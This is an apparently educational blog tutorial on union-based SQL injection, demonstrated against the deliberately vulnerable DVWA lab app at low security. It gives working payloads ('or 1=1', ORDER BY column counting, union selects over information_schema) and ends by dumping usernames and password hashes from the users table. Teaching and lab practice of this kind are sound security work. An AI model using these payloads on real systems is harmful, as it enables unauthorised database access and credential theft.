The Union-based SQLi is most common type of SQL injection. It comes from the class of inband SQL injection, and this type of attack utilizes the use of a UNION statement, which is the combination of two select statements, to extract information from the database.
Now to exploiting Union-based SQL injection, we have to do below things :
1. Break the query
2. Balanced out the query
3. inject our own query
For demonstration we are going to use DVWA Vulnerable Web App. To know more about DVWA or install it on your system pleas visit the below link :
Now at DVWA we are going to use the SQL Injectione example for the demostration and also set the security level to low in DVWA.
At this example when we provide the user id, the it will return the user details ( first name and surname) and display it on the screen.
Now at this point we have to break the query by providing various invalid values in the User ID field and see that the application will provide some kind of error message or not. The invalid values are like ' , " , ), '), ") etc. And with the ' single column, the application prints the below message
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Now lets provide put a a slash before singe column : /'
And the error message will be :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/''' at line 1
If we look closely at the last part of messge which is /', then we can separate the single column as this
'' /' ''
It means our provided input is quoted inside 2 single columns. So in this situation we can break the query, where 1 single query is just putted by the error message. So we can guess the back-end sql query will look like this
SELECT first_name, lastname from table_name where user_id = ' user_given_input ';Now if we comment out the rest of the query by using --+ or # sign then we can successfully break the query, and the above query will look like this :
SELECT first_name, lastname from table_name where user_id = '' # ';Where the code after # sign will comment out. And to balance out the query we can use or logical operator, So our input will be or 1=1 #.
As we know that in or logical operator if one or the operand is true then it returns true, and 1=1 is always true. So the sql query will look like
SELECT first_name, lastname from table_name where user_id = '' or 1=1 # ';And database will dump all the users data. Now by the using of union operator we can also dump all kind of information from the database. The query for union will be :
' union select <number of columns>To get the number of columns in database's table, we can use the order by sql command. For example :
' order by 1 #
' order by 2 #
' order by 3 #
' order by ...n #
where the numbers 1, 2, 3, ..n are indicates the number of columns. If the actual columns on database table are less then the numbers in query then database returns error message. Now when we put the values
' order by 1 #
' order by 2 #
then database will return nothing, but in
' order by 3 #
it shows the below message :
Unknown column '3' in 'order clause'
It means the database table has 2 columns. Now the union query will be :
' union select 1, 2 #
The database will return the 1 and 2 as first_name and surname. Now in the place of 1 and 2 we are going to put some sql commands like database(), version()
' union select database(), version() #
Where the mysql database returns the name of the current database and mysql server version. There are also some other commands if want to check them out.
| Commands | Description |
|---|---|
| database() | return database name |
| current_user() | return current username |
| user() | return current username |
| version() | returns the version of database |
| schema() | Current Database |
| session_user() | current session user |
| @@datadir | return the path of data directory in mysql server |
| @@hostname | Current Hostname |
| @@tmpdir | Temprary directory |
| @@basedir | Base Directory |
Now to get the table name the query will be :
' union select table_name from information_schema.tables where table_schema= " name of the database ";The target database name is dvwa. The information_schema is a special database in mysql which stored information about the databases and tables of mysql servers.
' union select table_name, 2 from information_schema.tables where table_schema= "dvwa" #
when we use the above query it will return nothing, because the return value are more then one, so at here we can use limit command to limit the number of output.
' union select table_name, 2 from information_schema.tables where table_schema= "dvwa" limit 0, 1 #
So the first table name is : guestbook
And for the second table name the query will be :
' union select table_name, 2 from information_schema.tables where table_schema= "dvwa" limit 1, 1 #
The second table is : users
We can also print all the data in single query by using group_concat() function. And instead of giving database name we can also use database() function.
' union select group_concat(table_name), 2 from information_schema.tables where table_schema= database() #
Now we get the both table guestbook and users at once. Now for column names the query will be :
' union select column_name, 2 from information_schema.columns where table_name= " Name of the table" #
Or with group_concat()
' union select group_concat(column_name), 2 from information_schema.columns where table_name= "guestbook" #
and for users table :
' union select group_concat(column_name), 2 from information_schema.columns where table_name= "users" #
Now we successfully dump the structure of database, which is :
database name : dvwa
tables : guestbook (columns : comment_id,comment,name )
users (columns : user_id,first_name,last_name,user,password,avatar,id,username,password )
Now at this point we can easily dump all the data by using above database structure. Now lets dump the username and password from the users table. The query will be :
' union select user, password from users limit 0, 1 #
Or we can dump all the users and password at once by using group_concat()
' union select group_concat(user, ':', password), 2 from users #
So the user and password are :
admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99
At here the passwords are probably hashed.
Note : When you crafting the union query for injection then always remeber the punctuation of number of columns, for example in the last query we put ',2' after the group_concat() function, so if you miss or ignore the proper punctuation of columns then the query may not work.
A bit about Information_schema :
In MySql the information_schema database is a read-only database that holds the information about all the other database information such as table names, column names , and privileges of every database. Each mysql user has privileges based upon the fact that a user can access tables that they are per-mitted to. Here are some tabls of information_schema which holds information about the database :
- information_schema.schema :- This table holds the list of all the databases present on the mysql server.
- information_schema.tables :- This table holds the table names in the database.
- information_schema.columns :- This table holds the column names in every table in every database.
Conclusion :
In this post we look some of the basics of Union based SQL injection technique. In the next post we will the Error based SQL injection.
For more info/Articles about Web Application Security : http://www.sec-art.net/p/web-security.html